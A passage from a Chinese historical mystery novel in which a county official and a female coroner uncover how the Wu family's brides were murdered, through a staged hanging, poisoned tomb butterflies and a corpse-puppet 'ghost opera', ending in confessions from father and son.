吴荣贵怒道:“你为何睡到池娘子房间去了,这事一会儿再罚你,景县丞问话,你先将李荞死时的情景一一说来。”
“是。”紫藤跪着道,“李娘子怀着孩子胃口不好,到了晚上想要些甜口的吃食,奴婢便打着灯笼去厨房找,等奴婢带着点心回来时,发现李娘子倒在地上抽搐。”
“奴婢当时吓得手忙脚乱,赶忙将隔壁的宝铃叫起来,让她去找大夫。”
景序昭:“宝铃何在?”
人群里有个小丫头站了出来:“奴婢在。”
景序昭
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:“她说的可属实?”
宝铃点点头:“紫藤姐姐说的属实,那夜我被叫起来后便赶紧找了守门小厮去请大夫。”
紫藤接着道:“李娘子没撑到大夫来就没了气,后来府里的人都闹醒了,大家都知道李娘子夜里突然暴毙一事。”
景序昭:“李荞发病时唯独你一人在场,你当时可与她发生过争执,是否跟她动手,击打过她头部?”
“奴婢不敢!”紫藤跪在地上把头埋得很低,“奴婢从未打过李娘子,大夫可以作证,大夫来了后检查过李娘子的尸首。”
吴荣贵道:“那天夜里是请了个大夫来,他来时李荞已经没了,他看过尸体,说是不清楚缘由,所以我们才说是突然暴毙。”
景序昭:“铁耀,去将那位大夫找来。”
“让那日请大夫的小厮领铁耀同去。”
吴容贵招呼那个小厮带着人去了。
吴荣贵看向景序昭,问道:“县丞是何时去的墓中?”
景序昭:“昨夜。”
吴荣贵长长地拖着音“哦”了一声:“昨夜啊,劝县丞日后还是莫要擅闯别人家的墓地,我吴家墓穴没有机关也就罢了,倘若遇着个只进不出的,那就麻烦了。”
吴荣贵说完,盯着景序昭笑了笑。
一转脸,他便瞪着紫藤:“主仆有别,谁让你睡池娘子屋里的,自己下去领罚。”
紫藤抹着眼泪应了是。
池楚浠将她扶起:“是我让她睡的,我怕黑,不敢独自入睡,便叫了紫藤相陪,既是主仆有别,我是半个客人,我的吩咐她自然要遵从,就不必罚了。”
吴荣贵道:“既然如此,那就免罚,下去吧。”
紫藤行了一礼:“多谢老爷开恩,多谢池娘子。”
吴荣贵看了摆在院中的骸骨一眼:“能否将李荞送回墓中?这都已经验完了。”
景序昭冷着声:“不急。”
吴荣贵:“是,那听景县丞的。”
李荞的尸骨被摆放在一张干净的布上,此时用不着接着验,池楚浠便扯了新丝绵将她盖住。
所有人都在等铁耀领大夫回来,如今大夫是关键的人证。
吴荣贵抬头看了看日头,他被晒得眯了眯眼:“咱们屋里等,喝茶,慢慢等。”
景序昭摊开一面手帕给吴荣贵看,问道:“可认得这个?”
吴荣贵盯着手帕看来:“哟,这不是李荞用过的吗,她从嫁过来就带着了,我不是已经烧掉了,怎么在你们手里?”
景序昭:“这是李娘子父亲给我们的。”
吴荣贵哦了一声:“看来她不止一条这样的,从前大概是绣了许多同样的手帕。”
景序昭指着手帕一角的蝴蝶道:“吴老爷可知这蝴蝶有何来历,是否有毒?”
“无毒啊。”吴荣贵道,“这样的蝴蝶江边多的是,从未听说过有毒,我还见孩童捉来玩,怎么会有毒呢?”
景序昭声音微沉:“你当真不知?”
吴荣贵一脸认真地道:“不知县丞是何意,总之,这蝴蝶绝对无毒,不信我这就去捉一只来。”
景序昭倒是没让他去捉蝴蝶。
只是那靖王墓中见到的蝴蝶的确有毒,可这些飞出来的又无毒,一定是还有什么东西他们看漏了。
63. 一叶障目
铁耀匆匆往回赶时在小厮的带领下经过了兰芷院,这是新妇的院落,昨日嫁进吴家的小娘子便住在这里。
今日阳光大好,铁耀稍微一侧目便见到了在院中晒太阳的女子。
她悠闲地靠在躺椅上,似乎很享受这样静静地晒着太阳。
接着,铁耀见她缓缓起身朝屋里走去。
她今日还穿着大红裙子,很是耀眼。
铁耀匆匆看了几眼,赶紧往浅月居跑去。
“景县丞!”
“景县丞,那大夫不在家,家中妇人说他出远门了,要好几个月才回来。”
吴荣贵正在浅月居的小花园里摘芍药,他将摘下的花朵递给丫鬟:“晒干了入药,今年开得不错。”
池楚浠和景序昭从屋里出来,他们同时看向摘花的吴荣贵,对于大夫不在家这个消息,他似乎不怎么在意。
铁耀从后面瞥了吴荣贵一眼,悄声对景序昭道:“这可怎么办,找不着那位大夫,会不会是吴荣贵做的手脚?”
花园前的吴荣贵似乎听见了铁耀的悄悄话,捏着一朵芍药回过头来:“大夫出远门去接诊也不奇怪,要么诸位就再等等,等他回来再例行询问也不迟。”
他笑了笑:“今日陪着几位等了这么许久,也没等到个什么说法,反倒是你们惊扰了我吴家的亡人,我还得重新将李荞的尸骨放回去。”
“县丞,吴某就不陪你们了。”
他将芍药放入篮中,丫鬟已经提了满满一篮花。
前院有丫鬟匆匆跑来,大声道:“不好了老爷!”
“柳娘子没了!”
吴荣贵当场愣住,抓住丫鬟问:“什么没了?”
丫鬟哭着道:“柳娘子……死了。”
所有人都惊了。
铁耀差点跳脚:“不可能,我方才还看见她在院中晒太阳!”
景序昭匆匆道:“走,去看看。”
一行人跟着丫鬟赶去兰芷院。
到了兰芷院,府中下人已经把上吊的柳娘子抬了下来,此时人就平整地躺在地上。
吴荣贵急匆匆上前,用手探了她的鼻息,顿时瘫坐在地:“当真死了……”
吴荣贵呆愣了片刻后忽地冷笑:“看吧,这就是我们吴家的诅咒,嫁进来的女人没一个活得长久。”
他忽地死死盯住池楚浠:“你们若是能打破吴家诅咒,我倒是要叩谢天恩了,一定是因为你们去墓里搅扰了死者安宁,柳娘子才没活过一天,一定是你们!”
池楚浠拧着眉心,她也想知道柳娘子为何突然就死了。
昨夜虽然有过猜测,但据不良人禀报,昨夜柳娘子那边并未出什么事。
今日上午吴荣贵又一直在景序昭眼皮子底下,就算他有心要暗害,也没有作案时间。
池楚浠上前查看尸体,绳索压迫颈部形成斜向至耳后的索沟,索沟是深紫色的。
死者眼睛闭着、口唇张开,两手握拳、牙齿露出。
池楚浠撬开柳娘子的口唇查看,根据勒痕看,绳索压的位置偏上,舌尖应是抵住牙齿的。
池楚浠一看,果然如此。
她朝景序昭看去:“是自缢而亡。”
景序昭拧眉沉思。
吴荣贵被小厮扶起,冷声道:“还请县丞回屋歇息,我要处理吴家后事。”
吴耀金跌跌撞撞地跑到门口,还没进来,吴荣贵便吩咐小厮将他拦住:“带少爷回去,没我的吩咐不准出来。”
两个小厮架住吴耀金往回拖。
吴耀金憋得脸通红,只是一味地大哭大吼,仍旧是一句话也不说,只顾着闹。
池楚浠看着这父子俩总觉得不像是父子,吴荣贵有时对儿子是不是过于冷漠了。
而吴耀金明明是一个四肢健全的大人,但他的行为像是受过某种刺激般怪异,不爱说话,情绪混乱。
把儿子弄走后,吴荣贵对景序昭冷声道:“两位出去吧,吴家要为新妇收尸。”
有小厮做出请他们离开的动作,像是在赶人。
池楚浠验过尸体,的确是自缢的特征,没发现有异常,她不好干涉。
几人从屋里出来。
铁耀还是满脑袋疑惑:“景县丞,我方才回来时真的看见活着的新娘子,她就穿着这身红衣裳在院中晒太阳呢,我绝对没看走眼。”
“你说一个人怎么可能上一刻还在悠闲地晒太阳,下一刻就上吊自杀了呢?”
“不可能啊,莫非真是什么诅咒。”
景序昭道:“你在哪儿看见的她?”
铁耀指着兰芷院门前的石板路:“我打那儿经过,看见新娘子坐在这儿,对,就是这个躺椅上。”
铁耀指着树下那只竹躺椅。
池楚浠看向那只躺椅,她与景序昭交换了个眼神,两人分别朝两边走去。
池楚浠来到躺椅前,顺势躺了上去。
铁耀在旁边指导:“对,就是这样,头靠着躺椅,很悠闲的样子。”
景序昭则站在了石板路中间。
铁耀道:“景县丞,再往后走两步,对了,就站在那儿。”
景序昭隔着半个院子看着躺椅上的池楚浠,从这个角度看,他并不能看清池楚浠的脸,只能看见她后背一方。
铁耀道:“池娘子,她后来又起身了,朝屋里去了。”
池楚浠从躺椅上起身,顺着铁耀指的路往屋里去。
景序昭一直盯着看,还是和之前一样,看不清池楚浠的脸,屋子的进出口不是对着院门的,只能看见池楚浠侧后方的身影。
景序昭似乎明白了什么,重新回到院中,池楚浠最终没有走进屋子,只是站在了门口。
她转过身问:“可看出什么?”
景序昭点点头,问铁耀:“你当时是不是没有看清新妇样貌?”
铁耀仔细一想,还真是。
“没看清……只看见背影。”
他恍然大悟:“你是说我看见的不是她?那会是谁?”
全府的下人此刻都围过来处理柳怜心的后事,池楚浠他们被请了出来。
院中的红灯笼换成了白灯笼,原本喜气洋洋的氛围突然变得死气沉沉。
府中的下人们似乎已经习惯了。
池楚浠道:“柳怜心死时吴荣贵一直在浅月居,他陪我们喝完茶后便去了花园摘花,没有离开过。”
池楚浠刚说完便怔愣了一瞬,接着道:“不对,他在花园,而我们在屋内。”
景序昭道:“与铁耀看见的一样,我们也只看见了一个人的背影,并未看见脸。”
一旁的铁耀惊讶地瞪大了眼睛:“你们怀疑人是吴荣贵杀的,他使了障眼法?这也太离奇了。”
景序昭道:“不排除这个可能,诅咒一
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说本就有些无稽之谈,人就死在眼皮子底下,说明凶手也在眼前。”
池楚浠点点头,她认同这个说法。
几人一起回了浅月居。
池楚浠在琢磨死因,表面上看,的确是上吊身亡,若是被人打死后伪装成自缢尸体不会是那般模样。
死后上吊的口张开、眼不闭,手张开,颈部索沟浅淡,舌不伸出,也不抵住牙齿。
而柳怜心显然不是这样,若当真是被伪造成自缢,那么杀她之人必定极其了解人死后的模样,至少熟读过《大晟洗冤集》。
池楚浠道:“我们需得赶在柳怜心下葬之前弄清楚怎么回事,否则尸体一旦经过更多的处理就越加看不出端倪,即便是后续再验也是无用的。”
景序昭点点头,他对铁耀道:“想办法将吴耀金绑出来,带去吴家墓地。”
铁耀一脸痛苦:“又要去墓地……”
那个鬼地方居然还要再去,铁耀已经有心理阴影了,他记得自己还有毒没解呢。
景序昭宽慰道:“速速办妥,我们才好早日去灵枢谷。”
铁耀咬紧牙关拍拍胸脯:“放心吧县丞,包在我身上,今天之内我一定把吴家少爷弄出来。”
铁耀出了浅月居,屋里只剩了池楚浠和景序昭。
“不知许县令带人过来时可否赶得及,若不是中毒在身,我们也不至于如此急切。”池楚浠道,“你现下感觉如何,可有不适?”
她仔细瞧着景序昭的脸色,气色依旧不太好,他中的毒最深,症状要明显许多。
景序昭道:“派去的两个不良人若是将吴家的境况如实相告,许县令断不敢耽搁,这可是好几条人命。”
“只怕那两人无法顺利回去。”
池楚浠也有此顾虑,怕凶手胆大包天,万一连公廨的人都敢截,那就难办了。
景序昭正要出去,岳逸钦就先一步过来了,他道:“我已飞鸽通知灵枢谷,等县令那边的人过来怕是来不及了,更何况不良人不一定能顺利将消息送到。”
景序昭方才也正是要找岳逸钦办此事,看来他们师徒二人想到了一处。
池楚浠道:“那我们先去墓地。”
吴家院子里忙着办丧事,没有下人守着浅月居。
几人刚要出门,丫鬟紫藤来了浅月居。
“池娘子,你们要走了吗?”
丫鬟看了他们几眼,几人看起来像是真的要走的样子,岳逸钦连行李包都挂在身上了。
池楚浠道:“是,如今你们府中办白事,我们也不好一直待着。”
紫藤道:“老爷还说府中事忙,怕照顾不周,特让奴婢来转达,没想到你们今日便要离去,奴婢去跟老爷禀报。”
“不必了。”景序昭道,“不必禀报,让你们老爷仔细将家中事办妥就好,新娘才嫁过来便去世,怎么也要给新妇家人一个交代。”
紫藤:“奴婢这就去转达。”
“县令、池娘子,诸位慢走。”
紫藤只送到门口便回去了。
几人从吴家大门出来就直接去往墓地。
景序昭道:“既然是吴家自己的墓穴,那吴家子孙必定有办法开启墓室,我们之前一定是走岔了,没有去过真正的墓室。”
岳逸钦道:“没错,我们看见的李荞不过是个幌子,其他人的骸骨还在墓穴里的其他墓室。”
64. 凶手是我
太阳有些西斜的迹象,岳逸钦等得在石头上打起了盹。
终于有了杂乱的脚步声,铁耀和另两位不良人把吴耀金掳来了。
“景县丞,人给你带来了。”铁耀抓着吴耀金的领子将他推到景序昭面前。
景序昭道:“进去吧。”
池楚浠按下了墓穴大门处的机关,石门顺利开启。
吴耀金不断地在铁耀手里挣扎,表情痛苦又扭曲,但嘴里却不肯说一句话。
进入墓穴后只有一条甬道可走,这里没有其他选择,不会藏有墓室。
待走完了这条甬道,顺着台阶下去后,景序昭对着吴耀金冷声道:“指路吧,你们吴家人到底埋在哪儿?”
吴耀金再次挣扎了几下,依旧被铁耀控制得死死的,吴耀金都是一身虚力,根本反抗不了,他不得不彻底放弃挣扎。
见吴耀金还是不说话,景序昭拿刀架在他脖子上,刀锋紧贴着脖子上的皮肤,已经勒出了血痕。
“还不肯开口?”
吴耀金呆呆地站着,无动于衷。
池楚浠盯着吴耀金看了许久,忽地上前靠近他,一股淡淡的香味钻进鼻子。
她对景序昭道:“他的衣裳熏过熏香,虽然味道不浓郁,每一处都有,像是一寸一寸仔细熏过很长时间。”
铁耀抓着他的一只袖子闻了闻:“你一个大男人,熏那么久熏香做什么?”
岳逸钦上前,对不良人道:“抓紧他。”
几人一起用力将吴耀金扣得更严实,一丝一毫都挣扎不了。
岳逸钦掀起吴耀金的眼皮查看,越看神情越凝重。
“他好像也中毒了,和徒儿你一样。”
景序昭跟着看了几眼,吴耀金的眼睛确实有些异常。
中了靖王墓的毒会产生一定的幻觉,根源便体现在眼球上,吴耀金的眼球动起来时与常人有所区别,和景序昭中毒后极其相似。
岳逸钦多看了几遍,确认道:“没错,就是中毒,他比你严重多了,不过看着更像是积毒已久。”
“奇怪,居然还没死……”
最后这句岳逸钦像是自言自语,他很是疑惑,怎么会有人中毒已久却没死。
之前被吴耀金呆呆傻傻的模样忽悠了过去,没留意这些细节,如今一看,他就是中毒了。
池楚浠盯着吴耀金的眼睛问:“你看见了什么幻象?可是因为这个不愿说话?”
吴耀金的眼球转动了一下,直直地盯住了池楚浠,之前他看向池楚浠时眼球并不是直直盯过来的。
吴耀金只是盯着她,依旧不说话,但神情比先前要复杂了许多,像是想说点什么。
池楚浠拿出李荞的手帕给他看。
“同样的手帕她绣了许多条,看得出来她很喜欢,你们第一次相识是在江边吧,周围有许多翠色蝴蝶。”
吴耀金或许是过于激动,脸上的肉抽动了几下,他死死盯着手帕恨不得一把抢过来。
池楚浠把手帕往回收了收,故意不给他。
“你在幻象里可有看见她生前的样子,你还记得她是怎么死的吗?”
吴耀金像是狠狠憋了一口气,脸憋得通红,眼睛也瞬间红了,他再次挣扎起来,像是铆足了劲要摆脱束缚。
“抓紧他。”景序昭吩咐。
池楚浠继续逼问:“你娘子是怎么死的?”
“她头骨上有伤,分明是被人打死的,她死得那么冤你为何不肯帮她?”
池楚浠的话掷地有声,吴耀金猩红的眼睛瞪着她看,他怒吼一声奋力争执,力气竟比方才大了许多,几个不良人猛地抓紧了他。
池楚浠继续问:“你前三位娘子是怎么死的,也是被人打死的吧,你为何不救她们?”
顾不上给即将崩溃的吴耀金喘息的时间,池楚浠沉声道:“她们被谁杀的!是不是你?”
“是你杀的!”
池楚浠第一次用这么大的声音质问,吴耀金和常人不一样,他中毒后或许还能看见点幻象,脑子不够清醒,只能用较大的声音让他集中精力。
池楚浠在他面前展开手帕,将绿色的蝴蝶抵在他眼前:“我死得好冤,谁杀的我?”
吴耀金终于崩溃,哇地一声哭了出来。
“是我!”
“我杀的你……”
他哭着往地上跪去,铁耀顺势让他跪下了,只是还牢牢扣着他的胳膊。
池楚浠怔了怔,她缓了缓心绪道:“是你杀的?为何?”
吴耀金头垂地,压抑着没有继续哭出声来,喉咙里发出嘶哑的抽泣声。
景序昭道:“带我们去找剩下的尸体葬在哪里?”
铁耀他们把人强行拉起来:“其他人的墓室在哪儿,赶紧带路。”
吴耀金被刺激一番,似乎回过了些许神智。
池楚浠留意观察着他,上回看见李荞和她未出世孩儿的尸骨时也是这番模样,若是那时便问,兴许也能问出什么。
吴耀金果然带着他们走进了另一条甬道,和之前吴荣贵带他们走过的不同。
他亲自打开了其中一间墓室,这屋子里没有什么臭味。
几人进了墓室一看,放棺椁的位置上摆放着一具骸骨,这具尸体已经腐烂许久了。
池楚浠上前查验。
“是女人的尸骨,有大半年了。”
景序昭看向吴耀金:“这是你娶的第几个娘子?”
吴耀金回过神来了偶尔会说几句话,他看了看尸骨,用已经哭得半哑的嗓子道:“第二个,在阿荞之前娶的。”
见他说话还算顺畅,思维也比之前清晰了不少,景序昭趁机问:“你为何接连杀了她们?”
吴耀金此刻脸色有些苍白,他领路进来后就没再哭泣,而是像失了神智一般盯着尸骨。
他缓缓道:“想杀便杀了,都是我杀的,把我抓去衙门吧。”
池楚浠正在查看尸骨,墓室里的光线不好,验骨不准确,只能大致看看。
吴耀金道:“她是被掐死的,骨头上不会有痕迹。”
池楚浠朝他看来,微微皱眉道:“你可是在幻象里看见了什么,所以才会将她们都杀了?”
吴耀金尽管一动不动地盯着尸骨,但他却双目无神。
“我有疯病,就喜欢杀人,吴家死去的女人都是我杀的。”
景序昭沉声道:“撒谎也要圆得通才行,你说吴家死
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去的女人都是你杀的,那你父亲娶的几任娘子也都是你杀的?明明那时你还没出生。”
吴耀金忽地冷笑:“他的前两个女人是病死的,后三个才是我杀的,加上我自己娶的五个,一共八个。”
过了一会儿,他小声嘀咕:“还差一个。”
池楚浠看了景序昭一眼,她和他一样感到疑惑,吴耀金怎么突然就承认所有人都是他杀的,就算脑子清醒能短时间内清醒到这种程度吗?
景序昭追问:“今日你是如何杀死的柳怜心?”
吴耀金正要说话,忽然从众人身后响起一道声音:“人不是他杀的。”
所有人扭头看去,竟是吴荣贵。
“吴老爷怎么还找上来了,家里不是忙着办白事吗?”景序昭冷声道。
吴荣贵此刻脸上没了笑容,语气也不似之前那般客气:“所有人都知道我最看重的是吴家的子孙,如今儿媳妇都死了,剩我儿子孤零零的,我的眼睛自然一刻都不会从他身上挪开。”
吴荣贵带着些怨气看向铁耀和另几个不良人。
“景县丞,你的属下是有些手段,能把人从我眼皮子底下掳走。”
“可惜,你们将他抓来也无用,他脑子不清醒,人根本不是他杀的,你们这么问只会断下冤案。”
景序昭道:“吴老爷想清楚了要跟我解释所有来龙去脉,怕我们误抓了令郎?”
吴荣贵道:“你们不是早就已经看出来了,柳怜心是我杀的,我知池娘子精于验尸,便故意在她将死之际用绳索压迫颈部,形成斜向至耳后的索沟,可以让她闭眼,口唇张开,两手握拳,牙齿露出。”
池楚浠惊道:“你也懂验尸?”
只有吴荣贵懂验尸他才知道如何伪装,从而骗过池楚浠。
吴荣贵道:“我不是仵作,也不精通验尸,只是见过的死人多罢了,见得多自然就懂了。”
吴耀金忽然一脸痛苦的神情,他的眼神又开始混乱了,仿佛看什么都不清晰。
吴荣贵快步来到吴耀金面前,从怀里掏出一颗药丸放入他口中。
“快,吞下。”
吴耀金含糊着把药吞了,过了好一会儿,他的痛苦才减轻了些。
景序昭道:“你说你杀了柳怜心,为了什么?”
吴荣贵见儿子缓了过来便放心了许多,他看向景序昭道:“你们不是要找其他吴家人的墓室吗,我带你们去。”
吴荣贵走了一段,发现没人跟来,他回头道:“怎么,怕我设计你们?”
他冷笑一声:“我都承认杀人了,还有什么好设计的,若是不放心,就将你那几位属下留在这儿候着,你若是出事了让他们回去叫人即可。”
景序昭和岳逸钦交换了一个眼神,景序昭道:“不必了,都进去吧。”
铁耀和几个不良人跟着一起去了墓室。
吴荣贵亲自带路,这条墓道是他们之前从未来过的,比方才吴耀金走过的那条还要藏得更深。
吴荣贵打开一间墓室门:“这是我第二任夫人所在之处,她是我儿的生母,是病逝的。”
池楚浠朝墓室中心看去,这里是有棺材的,和其他尸骨的安葬方式都不一样。
65. 还差一位
景序昭道:“为何这位夫人与众不同?”
吴荣贵道:“吴家人并不是一开始就裸葬,是从这之后才开始的,毕竟之后死的女人都不是自然死亡,裸葬只不过是要打散她们的魂魄,让她们冤死的灵魂别来找我麻烦。”
景序昭惊道:“之后死去的吴家妇人都是你杀的?”
吴荣贵的眼神不知从何时起变得阴鸷,他从这个墓室出来,径直朝另一方向走去。
“跟我来。”
他多的话一句不说,只闷头往前带路,景序昭几人立即跟上。
这条墓道比其他的墓道要宽一些,池楚浠借着火光看见地上的石板有被硬物刮过的痕迹,一条长长的痕迹,像是在上面拖行过什么重物。
终于,吴荣贵在一扇墓门前停住脚步。
“站好别动。”吴荣贵告诫众人。
他独自上前,踩住了其中一块石板,接下来他每走一步,石板下面就传来一声细响。
声音响了一路,他顺利将手放在墓门右侧的机关上,机关设置在一只石头雕刻的蝉蛹腹中,众人看不见他是如何打开机关的。
只听得“咔咔”两声,墓门朝两边开了。
吴荣贵大跨步走了进去,没有要等其他人的意思。
池楚浠第一个跟上,景序昭拽了她一下将她揽至身后。
岳逸钦左右打量着这里的布局,竟和底下的靖王墓有些相似,尤其是甬道与墓室之间的格局,连大小都相差不多。
“当心。”岳逸钦说了句。
景序昭更加警惕起来。
池楚浠想要上前与他并肩而行都被拦了下来,只能走在他身侧,躲在他手臂的护佑之下。
“那是什么!”铁耀一声惊呼。
只见吴荣贵举着火把面对着他们,脸上挂着一抹诡异的笑容,而他身后,竟是一个巨大的戏台,与靖王墓中的戏台一模一样。
“我们不会是又回到靖王墓了吧?”铁耀惊慌道。
景序昭沉着声:“这并非靖王墓,而是吴家墓,这是吴老爷搭的戏台。”
吴荣贵一动不动地站在戏台前,一双眼睛死死地盯着刚进来的众人。
铁耀盯着戏台看久了,只觉得头皮发麻。
吴荣贵紧紧盯着池楚浠,那双眼睛像索命的厉鬼,他道:“鬼唱戏,还差一人。”
景序昭左跨半步,将池楚浠完全挡在身后。
景序昭的刀已然握在手里:“你想谋害官差?”
吴荣贵冷笑一声,忽然将火把往戏台上探去:“见过舞尸吗?底下的古墓里就有。”
景序昭道:“见过,九女舞尸,已经凑足了九具。”
“错了。”吴荣贵道,“从我儿的生母开始,总共八位,你们看到的九位有一个是假的。”
岳逸钦琢磨了许久,终于看明白了,他指着戏台下的地板道:“这里与靖王墓是相通的,你倒是好算计,那些尸骨呢,藏哪里了?”
吴荣贵的手掌顺势压在戏台前凸起的石块上,戏台的底板缓缓打开,有绳索从底下的空间扯出,直接连通了这间墓室的顶部。
八方绳索各自提起一具尸骨,正是在靖王墓看到的那些新娘,她们的肢体被绳索操控着站在固定的位置上。
被不良人扣着的吴耀金在看见新娘的那一刻,眼睛忽地瞪大了,仿佛突然有了精神。
他紧紧地盯着戏台,一副很期待的模样,渐渐的,他嘴角竟浮现出一抹笑意。
池楚浠正好瞧见吴耀金的变化,他突然之间仿佛换了个人,若说之前的吴耀金像半个死人,那么此时的吴耀金便是个完完全全的大活人。
不良人放松了警惕,吴耀金猛地挣脱了束缚,直直奔向戏台。
他跌倒在戏台前,索性跪着看。
“好!跳啊!”
吴耀金一脸兴奋地看着新娘们。
绳索带着新娘动起来,每个人都有不同的走位,戏路都是被提前设计好的。
新娘们转了一圈后,吴耀金突然就黑了脸,他冲到戏台正前方咆哮:“少了一个!”
“少了一个!”
“补上!”
“补上!”
他猛地扭头,以一种诡异的姿势盯着池楚浠,他嘀嘀咕咕地说着:“喜服呢?爹,我要喜服!”
吴荣贵抬起脚,铆足了劲朝吴耀金踹去:“又发什么疯,滚开!”
这一脚力道太大,将吴耀金踹得磕在地上撞到了脑袋。他嘴里嘶嘶地喊痛,手扶着头仿佛痛苦不堪。
新娘们再次舞动,从戏台下方的镂空处飞上来一群蝴蝶,皆是一模一样的翠色花纹。
“不好,有毒!”岳逸钦大呼,他赶紧捂了自己的口鼻。
同样的毒上了好几次当,景序昭倒是比之前镇定多了,蝴蝶是从戏台方向飞过来的,他立即拉着池楚浠转身,避开第一时间飞过来的毒粉。
只听得吴荣贵道:“此蝶生于墓中,乃是靖王与王妃所化,名唤青陵蝶,你们能见到是你们的福气。”
吴荣贵忽地冷笑:“自从二十年前入了靖王墓开始,我便得知这鬼唱戏请魂之术。”
“我亲眼见到了,至此便再也忘不掉,百年前的鬼唱戏我也能复刻。”
景序昭独自转过身,直视着吴荣贵:“你复刻鬼唱戏目的为何?”
吴荣贵痴痴地望着台上的新娘:“不为何,但凡你听过她们唱戏便会忍不住想听第二次、第三次。”
景序昭努力去看他的眼睛,并未发现有明显中毒的迹象,难道他说的也是在幻象里见过。
他真的听见鬼能唱戏,除了是幻象没有别的可能。
景序昭问:“她们唱的什么戏,你既然这么喜欢,总该记得。”
吴荣贵丝毫没有避开飞舞的蝴蝶,似乎不怕那毒粉似的,他忽地提起唱腔:“燕脂湿、靓妆初了。绿云繖上露滚滚,的白乐真珠小。笼娇媚、轻盈伫眺。无言不见仙娥,凝望蓬岛……”
瞧吴荣贵那唱曲的模样,像是得了癔症,这是歌舞戏,若是配上表演必定能吸引人的目光。
吴荣贵唱曲的声音轻飘飘地回荡在墓室之中,戏台上的新娘仿佛在配合他的唱词,他们一唱一和,很是默契。
景序昭打断他:“靖王墓是你盗的?”
吴荣贵的声音忽地顿住,他道:“我吴家本就是以盗墓为生,所获钱财皆从墓里来,如今我已金盆洗手,改头换面。”
铁耀指着人骂道:“好你个吴荣贵,原来是个盗墓贼,这就
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拿你回衙门处置!”
一只青陵蝶翅膀无力地扇动着,它即将坠落,吴荣贵抬手捏住了它的翅膀将它放在掌心。
他盯着这只蝴蝶,眼看着它慢慢停下颤动的翅膀,当即死在了他掌心。
池楚浠戴上了验尸用的面巾转过身来,她道:“这些青陵蝶并不是生来就带毒,而是你故意将毒粉洒在它们身上,让它们将毒粉传播。”
“你用此手段留下所有闯入墓穴之人,你从一开始就没想让我们活着出去。”
吴荣贵将手中的蝴蝶碾碎,扔了。
他疑惑地看着池楚浠几人:“我之前也好奇,为何你们能带出李荞的尸骨,一旦私自进入墓室你们就不可能活着出来。”
“此刻看来,你们根本不怕这毒粉,寻常人若是接触了毒粉,这会儿早已暴毙,而你们还活得好好的。”
景序昭从后方把吴耀金提了上来:“我也有一疑问,为何他中毒不死?”
吴荣贵沉默了。
景序昭提着吴耀金再次上前,靠近了吴荣贵,定定地盯着他道:“你方才已吸入不少毒粉,不怕死么?”
话音刚落,吴荣贵便呼吸一滞,捂着胸口猛地吐出一口血来。
他半佝偻着身子抬头望着景序昭,冷笑道:“死有何惧,诸位都会留下来陪我。”
吴耀金从呆滞的状态中再次回过神来,他扑到吴荣贵面前痛哭:“爹,爹你怎么了?”
“爹……”
吴荣贵再次吐血,脸色苍白无比,身体没有力气再支撑着,往后靠在了戏台上。
“滚!”
“你现在就滚回去,离开这里!”
吴荣贵狠狠推了儿子一把。
不知为何,池楚浠竟想到了宋晚吟母女,看着眼前这一幕她似乎想明白了什么。
“吴老爷,就算你死了也无法替他顶罪。”
池楚浠此话一出,吴荣贵便猛地朝她看来,由于吸入的毒粉过多,他的眼里仿佛都要溢出血水。
吴荣贵嘴角扯出个笑来:“不懂你在说什么,今日事今日毕,诸位就与我一同葬在我吴家墓地。”
景序昭与池楚浠想到了一处,瞬间理解了她说的话,他接着道:“如此剧毒连你自己都扛不住,而你儿子却能活下来,那便只有一个可能,吴老爷,你难道自己没想明白?”
吴荣贵努力撑住戏台边缘,他的脸色变得越来越难看,他小声道:“难怪……难怪你们没死。”
吴荣贵抬头看来:“你们与灵枢谷有何关系?”
岳逸钦笑着上前:“当然是关系好咯,若不是服用了灵枢谷的药,哪能活到现在。”
岳逸钦手里捏着颗药丸,显摆似地晃了晃:“做个交易,我给你药,你交代实情,如何?”
吴荣贵忽地笑了:“若是想活,我又何必领你们来此,岳师父,一把年纪了还如此天真。”
岳逸钦被嘲笑一通,面子上挂不住,气哼哼地把药丸收了起来:“那你死去吧,我省一颗救命药。”
“不过即便你死了,你儿子依旧会被带回公廨审问,你敢确保他守口如瓶?”
吴荣贵笑得有些无力:“你又敢确保能活着出去?”
说着,他自顾自地笑了几声。
66. 谷中来人
岳逸钦眉头皱起,这里面的确不好出,上次能出去都是走了大运,这次吴荣贵铁了心要让他们一起死在这里。
景序昭将吴耀金拎回手中:“吴老爷莫不是忘了,令郎还在我们手中。”
“我们葬在这里倒是不错,令郎难道也要一起陪葬?”
吴荣贵连戏台也撑不住了,身子滑到地面坐着:“等你们死了他自己能出去。”
吴荣贵看向岳逸钦:“我没猜错的话,你那药并不能一劳永逸,你们或许只有几天可活。”
岳逸钦有些震惊:“你怎么什么都知道,你这个盗墓贼,你和灵枢谷又是什么关系?”
“你若是不说我现在就杀了你!”
岳逸钦气得吹胡子瞪眼,作势要去拔景序昭手里的刀。
吴荣贵只是笑了笑,并未答话。
岳逸钦被气得不轻,举着刀就要劈过去。
“岳师父不可!”池楚浠急忙道。
岳逸钦叹了口气,把刀杵在地上:“我就是吓唬他,没想把人砍死,反正他也活不久了。”
池楚浠道:“还请岳师父给他一粒续命丸,让他撑过去。”
“嘿,你这丫头怎么还胳膊肘往外拐,你知道一粒续命丸值多少钱吗,可不是说给就给的。”
池楚浠道:“我知道您舍不得,可总不能让他枉死。”
岳逸钦不语,他原本也是想救吴荣贵一命的,但想想又觉得不值,更何况他十有八九与灵枢谷的人关系密切,万一是那人的相好,他可是一万个不乐意。
“不救。”岳逸钦撇开脸。
景序昭对吴荣贵道:“八条人命不是小事,若是无伤大雅的事我可以睁一只眼闭一只眼,可已经到了这个份上,我岂能胡乱定罪。”
景序昭拎着吴耀金,强迫他抬头看着戏台上的新娘。
“你看到的也是采莲戏?”
吴耀金顶着一双猩红的眼看着戏台,目光流连于新娘之间,他开始浑身发颤,眼中仿佛迸出精光,整个人又鲜活了。
“水晶宫里寻幽伴,菡苕香中荡小舟……”
吴耀金唱了起来。
这还是采莲里的词。
唱着唱着,吴耀金哭了,他趴在戏台边缘哭得抽搐起来。
“阿荞……”
池楚浠看着戏台上的新娘,她认出了谁是阿荞,她一块一块仔细看过阿荞的骨头,一眼便能认出。
此时的阿荞穿上了一身红衣,衣裳不知是怎样绑在骨头上的,牢牢地没掉。
她空洞的眼眶朝着吴耀金的方向,仿佛在看他,也不知有无怨恨。
“阿荞……”
吴耀金抽搐着跪在地上。
景序昭看着他那模样,忽然想起什么,曾经在灵枢谷见过不少中毒的病患,也有与他相似的类型。
“灵枢谷的人曾为你解毒?”景序昭问。
